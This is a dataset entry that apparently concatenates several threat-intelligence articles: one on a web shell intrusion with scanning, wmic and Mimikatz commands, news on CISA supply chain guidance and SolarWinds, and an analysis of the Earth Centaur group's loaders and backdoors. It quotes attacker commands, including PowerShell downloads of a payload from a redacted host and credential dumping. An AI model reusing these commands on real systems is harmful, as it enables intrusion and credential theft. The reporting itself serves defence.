mrmoor/cyber-threat-intelligence huggingface dataset:
xml;charset
http://{ip address\]:7001/wls-wsat/CoordinatorPortType  Oracle Console  curl.dat -vv http://{ip address}:7001/console/j_security_check  -d j_username={username}&j_password={password}&submit=Login"
PHPMyAdmin  curl.dat -vv --connect-timeout 2 {ip address}/phpmyadmin  Apache Tomcat  s.dat -u http://{ip address}:8080/manager/html  Ports  7001 9095 5556  8080   s.dat -i 10.217.229.189 -p {ports}     Table 1.
Commands used to scan for web server-related vulnerabilities and passwords on certain applications and ports
We saw that this attack also uses the WMI command line (wmic) utility to perform remote process execution on other infected endpoints.
Execution of arbitrary commands via session id
Successful exploitation of CVE-2020-0688 gives Chopper access to system privileges.
In one of the endpoints, it will drop and execute Trojan.Win32.PRIVESC.A.
This trojan requires to be run under a user with SeTcbPrivilege.
It allows an attacker to see all Windows sessions and can execute arbitrary commands on the session via session id.
Figure 3. Examples of arbitrary commands being performed on the session via session id     Discovery
For its discovery, it uses typical Windows command-line tools such as nltest, ping, whoami,  netstat, net, nslookup, hostname, and tasklist, which are commonly used in other attacks.
In addition, a publicly available JoeWare domain tool called LG.exe, which is quite popular among attackers and domain admins alike, was installed and used in the attack.
Credential access
For obtaining user credentials, the attackers used HackTool.MSIL.Mimikatz.AF, a modified version of the open-sourced application Mimikatz, using the following parameters: x, xxx, xxxx, xxxasd. wmic /node:{ip address} process call create "cmd.exe /c c:\users\mpBD6D42.dat xxxasd -pass > c:\users\23.txt  Collection
The attackers use wevtutil.exe to query security-related events from a target username and export it as a q.txt file.
For packaging stolen credentials and other logs, it uses the makecab command instead of a third-party application such as rar.exe.
·        makecab a.txt > 111 ·        makecab aaa2.txt >1
The attacker uses installed security components or applications as filenames to hide in plain sight.
·        C:\Program Files\Trend Micro\ ams p.dat ·        C:\Oracle\Oracle.dat ·        C:\Program Files\McAfee\MacAfee.dat These suspicious activities were seen via our XDR solution, which helped us monitor observable attack techniques and provided critical security alerts including anomalous file extension execution, remote execution via system tools, web shell-related activities, and potential exploit attacks.
Security recommendations
Web shells can be embedded in systems via security gaps such as vulnerabilities.
Attackers will work to identify vulnerable applications used in systems to exploit them and install web shells for remote code execution or data exfiltration.
We provide some security recommendations to ensure that enterprises and organizations can defend against web shell attacks:
Patch your systems and applications.
Ensure proper vulnerability patches are applied for public-facing applications, such as Apache Tomcat, Oracle Web Logic Server, Microsoft Exchange Server, and PHPMyAdmin.
Implement strong passwords.
Do not use the same password for multiple applications or websites.
Use multi-factor authentication whenever possible and regularly update it.
Check for static keys in the IIS web.config file.
As observed on CVE-2020-0688, the use of static keys — as opposed to randomly generated keys — can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data.
Enterprises and organizations should have comprehensive and efficient protection, detection, prevention, and remediation based on real-time, higher-confidence alerts to protect critical data and operations from sophisticated attacks and threats.
A consolidated view of all security sensors provides a single-pane-of-glass view that will promote quick and thorough investigation and response.
Trend Micro Solutions Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.
Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection.
One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.
Indicators of compromise  Filename  Path  SHA-256  Detection  Notes  ss.exe  C:\temp\  ee63b49aca1495a170ea7273316385b606f3fd2df1e48e9f4de0f241d98bd055  HackTool.Win32.CATLIKE.A  Vulnerability Scanner  LG.exe  C:\temp\ C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  LG.dat  C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  mpBD6D42.dat  C:\Users C:\Perflogs C:\hp C:\temp  e9be71848d1faa0c41db4c6a1e901747d98fb0b3cca027f8be85ea5e339b75e3  HackTool.MSIL.Mimikatz.AF  Mimikatz       Tags  Endpoints | APT & Targeted Attacks | Research | Network | Articles, News, Reports
The Cybersecurity and Infrastructure Security Agency (CISA) and the National Institute for Standards and Technology (NIST) recently published “Defending Against Software Supply Chain Attacks”.
The guideline provides an overview of software supply chain risk and how vendors and customers can identify and assess such risks using the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF).
Software supply chains are an integral part of a large information and communications technology (ICT) supply chain framework.
It is an ecosystem of retailers, distributors, and suppliers participating in the sale, delivery, and production of hardware, software, and managed services.
An attack on the software supply chain happens when a cyber threat actor invades a vendor's network and uses malicious codes, compromising the software before the vendor sends it to their consumers.
The compromised software will then put the customer's data or system at risk.
According to the guideline, newly acquired software may be compromised from the get-go.
It can also be compromised through a patch or hotfix.
These threats affect all users of the tampered software, resulting in major consequences for government, critical infrastructure, and private sector software consumers.
The guideline thoroughly explains the three most common methods threat groups use to infiltrate the supply chain.
It also establishes a few recommendations for software customers and vendors to prevent and mitigate attacks as well as improve resilience against software supply chain attacks.
The three most common methods are taking over the software update mechanism to deliver an updated software with malicious code, exploiting misconfigured access controls, and targeting publicly accessible code libraries, and inserting malicious code, which unknowing customers then download to their systems.
The document also provides the following eight best practices for establishing a C-SCRM approach and applying it to software:  Incorporating C-SCRM across the organization; Creating a formal C-SCRM program; Knowing and managing critical components and suppliers; Understanding the organization's supply chain; Working closely with key suppliers; Including key suppliers in resilience and improvement activities; Evaluating and monitoring throughout the supplier relationship; and Planning for the full life cycle.
While the guideline gives thorough recommendations on preventing supply chain attacks, it is still vital for organizations to take extra measures to mitigate vulnerable software components.
Organizations should also create a program that can manage and control their supply chain's vulnerabilities, minimizing the possibilities of attacks.
In addition, organizations must know and understand the risks associated with supply chains and smart factories.
To learn more about overlooked risks associated with supply chain and smart factories, read our expert team's proof of concept paper, "Forward-looking security analysis of smart factories".
This extensive research also discusses feasible attack scenarios and recommended defense strategies.
Tags  Latest News | Cloud | APT & Targeted Attacks | Network | Articles, News, Reports | Cyber Threats
The Cybersecurity and Infrastructure Security Agency (CISA) recently issued an alert regarding an advanced persistent threat (APT) compromising government agencies, critical infrastructures, and private sector organizations.
According to CISA, the APT actor is accountable for the compromise of the SolarWinds Orion supply chain.
The actor is also responsible for the abuse of commonly used authentication mechanisms.
The Agency then urged organizations to make identifying and addressing such threats a priority.
Under the Presidential Policy Directive (PPD) 41, the agency, together with the Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI), formed a Cyber Unified Coordination Group (UCG).
This group aims to coordinate a "whole-of-government" response to the above-mentioned cyber incident.?
A UCG is also formed for integrating private sector partners into incident response efforts.
In general, a Cyber UCG is created when a vital cyber incident affects critical infrastructure owners and operators.
These are determined by the Secretary of Homeland Security as possessing or operating critical infrastructure wherein a cyber incident could lead to a catastrophic regional or national effect on national security, economic security, or public health.
Supply chain attacks are quite risky and could result in real-world impacts.
In a report done by Trend Micro entitled “Critical Infrastructures Exposed and at Risk: Energy and Water Industries”, researchers were able to expose vulnerabilities of human-machine interface (HMI) used in critical water and energy organizations.
They also showed real-world implications that these vulnerabilities have.
Geopolitical risk is also a big concern for securing supply chains.
To mitigate such risk, organizations must think globally and exert efforts to follow codes of local culture.
Organizations need to have a deeper understanding of regional and national policies to ensure the safety of the supply chain.
Read our three-part series on smart factories from the perspective of supply chain disruptions to learn more about supply chain cybersecurity.
Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT |
Articles, News, Reports
Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011.
In July 2020, we noticed interesting activity coming from the group, and we have been closely monitoring it since.
The actors seem to be targeting organizations in the transportation industry and government agencies related to transport.
We observed that the group tried to access some internal documents (such as flight schedules and documents for financial plans) and personal information on the compromised hosts (such as search histories).
Currently, we have not discovered substantial damage to these victims as caused by the threat group.
However, we believe that it will continue collecting internal information from the compromised victims and that it is simply waiting for an opportunity to use this data.
Through long-term monitoring, we learned that this threat group is proficient at red teamwork.
The group knows how to bypass security settings and keep its operation unobstructive.
Depending on the target, it uses backdoors with different protocols, and it can also use the reverse proxy to bypass the monitoring of network security systems.
The usage of the open-source frameworks also allows the group to develop new backdoor variants efficiently.
We expand on these techniques and other capabilities in the following sections.
More importantly, we believe the activities we observed are just the tip of the iceberg and their targets might be expanded to other industries that are related to transportation.
It is our aim, through this article, to encourage enterprises to review their own security setting and protect themselves from damage and compromise.
Overview of Earth Centaur’s infection chain
Based on our investigation, we found that the intrusion process used by Earth Centaur can be separated into several stages, which are shown in Figure 1.
We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells.
Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine.
Then, depending on the victims, the threat actors dropped different types of second-stage backdoors, such as ChiserClient and SmileSvr.
After exploiting the victim's environments successfully, the threat actors start Active Directory (AD) discovery and spread their tools via Server Message Block (SMB).
Then, they use intranet penetration tools to build the connection between the victim’s intranet and their command-and-control (C&C) servers.
We go into further detail about these stages in our analysis.
Figure 1. Stages of Earth Centaur’s intrusion process      Technical Analysis of Earth Centaur’s Tools and Techniques Stage 1: Loaders
After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}" C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}"
After our long-term monitoring, we observed that there are two different decryption algorithms (DES or AES) used in Nerapack to decrypt the payload.
Moreover, in its newer version, it uses a technique called “Timestomping.”
Timestomping is when the timestamp of the payload file (.bin) is altered to make it harder for incident response analysts to find it.
Figure 2. Timestomping used on the bin file     The decryption key is used as an argument of Nerapack and various keys are used on different victims.
It is a simple but effective technique that makes security analysis more difficult and also ensures that only their operators can use the tools.
The command for execution is shown as here: > Nerapack.exe {base64 encoded key}
Fortunately, we were still able to collect the decryption key in some cases and we decrypted the payload successfully.
Based on our current cases, the decrypted payload is Quasar RAT.
After the payload is deployed, the actors can continue further malicious actions through Quasar RAT.
Stage 2: Backdoors
After further analysis, we found that the threat group developed multiple backdoors capable of communication via common network protocols.
We think this indicates that it has the capability to bypass network security systems by using these common protocols to transfer data.
We also found that the group tries to launch various backdoors per victim.
Furthermore, it also tends to use existing frameworks to make customized backdoors.
By using existing frameworks, examples of which are detailed in the following, it builds new backdoor variants more efficiently.
ChiserClient
After the backdoor is launched, it will decrypt the embedded C&C configuration via AES (CTR mode) algorithm for the following connection.
In the configuration, there are three C&C addresses and corresponding port numbers.
Decrypted C&C configuration
In the first connection, ChiserClient will append the host name of the compromised host for check-in purposes.
Then, it will keep running on the hosts and wait for further commands from the C&C server.
ChiserClient is installed as a system service to allow the threat actors access to higher privileges and keep persistence on the compromised host.
The capability of ChiserClient is shown in the following table:  Command code Function 0x10001
Write specified file 0x10002
Download File 0x10003
Read specified file 0x10004
No Action 0x10005
Open a command shell for command execution
HTShell HTShell is a simple backdoor that is developed using the Mongoose framework (version 6.15).
Mongoose is an Object Data Modeling (ODM) library for MongoDB and Node.Js.
It is used to translate between objects in code and objects representation in MongoDB.
We saw in our cases that the HTShell client will be launched as a system service on the compromised machine and that it will connect to a C&C server.
HTShell supports importing additional config files.
We found that the additional config file is located in %PUBLIC%\Documents\sdcsvc.dat, and that the content should be encoded by base64.
If no config file is imported, it will connect to the predefined C&C address.
HTShell hardcoded C&Cs     HTShell encodes a hard­-coded string, "tp===" with custom base64 and embeds the encoded string in the request cookies.
If the C&C server receives the request with the special cookie value, it can verify that the request comes from its client applications.
HTShell hardcoded and encoded cookie string in the request header     The response handler of HTShell will use “`” as delimiter to split the command code and argument for the received command.
Hence, the command will be this format:  <command code>`<custom-base64encoded-data>[`<more-custom-base64encoded-data>] HTShell currently supports three different backdoor functions, shown here:  Command code Function 0 Open a command shell for command execution 1
Upload file 2 Download file
Customized Lilith RAT
During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT.
We think that this Lilith RAT is a highly modified version of the open-source Lilith RAT.
The actors reused part of the codes for command execution, while the C&C protocol is changed to Dropbox HTTPS APIs.
Reused codes from open-source Lilith RAT     In order to launch this RAT, the threat actors use a technique called "Phantom DLL hijacking."
In this technique, the RAT will be disguised as the normal wlbsctrl.dll.
While the Windows service “IKEEXT” is starting, the fake wlbsctrl.dll is loaded and executed with high privilege.
Furthermore, when Lilith RAT is terminated, it will try to clean itself to prevent being found by investigators.
Self-deletion after execution
For the C&C connections, the customized Lilith RAT will first check in to the attacker’s Dropbox and see if the victim host exists.
If not, the hostname and IP address will be collected and appended to the existing compromised hosts’ information.
All data will then be encrypted and sent back.      Figure 8.
The first check-in request to the Dropbox C&C     After the check-in request, the backdoor will start to wait for more commands to come in.
All the request data are formatted to JSON, and they are encrypted by AES and encoded by base64.
Here is a list of the C&C commands:
Command Description CMDCommand Executes commands DownloadCloudFile Downloads files UploadCloudFile Uploads files GetDir Lists directories GetDirFile Lists files in a directory DeleteSelf Deletes itself  SmileSvr
We found that there are two types of SmileSvr.
The difference between the two variants is the protocol used for communication: ICMP and SSL.
The threat actors will use an installer to install SmileSvr as a system service and drop a DAT file that contains encoded C&C information.
In the configuration file, the memory size used for storing C&C address and C&C address will be defined.
Encrypted configuration file
The ICMP version of SmileSvr will create an ICMP socket to connect to the specified C&C address, which is defined in a configuration file.
In each SmileSvr, there is an embedded number (e.g., 10601 in Figure 10.) and this value will be used as sequence number in the sent ICMP packet.
We think attackers use this value to verify if the incoming packet belongs to their backdoor and filter out the noise.
Decrypted configuration file     Without knowing the real traffic from the C&C server, we can only speculate on the content of the response based on the receiving function.
As shown in Figure 11, the content of the response should contain the sequence number used to verify if the received data comes from the correct source and two blocks of encrypted data.
The data decryption procedure is as follows:  First, the encrypted data is decrypted with a one-byte XOR key (0xFF).
The first of the decrypted content contains a magic number used to check data in the second block, a command code, and the XOR key to decrypt the second set of encrypted content.
The second set of encrypted content is decrypted with an XOR key (0x99) from the previous decrypted content, and within the decrypted data are instructions for the following procedures.
SmileSvr packet traffic format simulation
While analyzing samples, we found that the C&C server was already inactive.
Without knowing the traffic between SmileSvr and C&C server, we could not fully understand all functions.
However, most of the backdoor functions are listed here:  Command code Function 0x5001
Opens/Reads specified file 0x5002 Unknown 0x5004 Opens/Writes specified file 0x5006
Opens command shell 0x5007 Unknown 0x5009 Closes command shell 0x500A
File System Traversal 0x500C
Checks environment information 0x500E Unknown
As for the SSL version of SmileSvr, the capability of SSL communication is built by using wolfSSL, which is a lightweight, C-language based SSL/TLS library.
The backdoor functions of SSL version SmileSvr are similar to the ICMP ones.
The threat actors just use it to develop new ways to support data transfer via an encrypted channel.
Customized Gh0st RAT
In our investigation, we also found a suspicious executable named telegram.exe.
After analyzing the file, we found that it was a customized version of Gh0st RAT.
Compared to the original Gh0st RAT (Gh0st beta 3.6), the difference is that the customized version supports a new function to discover information from active sessions on the host.
All supported functions for the customized Gh0st are shown in the following table:  Command code Function 0xC8 Terminates connection 0xCA
File manager to handle file operations 0xCB Screen monitoring 0xCC Opens remote shell for command execution 0XD5 Gets active session information  Post
After successfully exploiting the vulnerable system, the threat actor will use multiple hacking tools to discover and compromise machines on the victim’s intranet.
In this stage, we also observed attempts to deploy tools to exfiltrate stolen information.
During our investigation, we found evidence of specific tools, which we listed in Table 1.
With these tools, the attackers accomplish their goals (network discovery, access to the intranet, and exfiltration) step by step.
Tool name Purpose Description SharpHound AD Discovery Discovery tool to understand the relationship in an AD environment FRPC Intranet Penetration Fast reverse proxy to help expose a local server behind a NAT or firewall to the internet Chisel Intranet Penetration Fast TCP/UDP tunnel RClone Exfiltration A command-line program to sync files and directories to and from different cloud storage providers  Credential Dumping
We also observed that the group used multiple legitimate tools to dump credentials on compromised machines.
It made good use of these tools to achieve its goal and keep its operation hidden and unobstructive.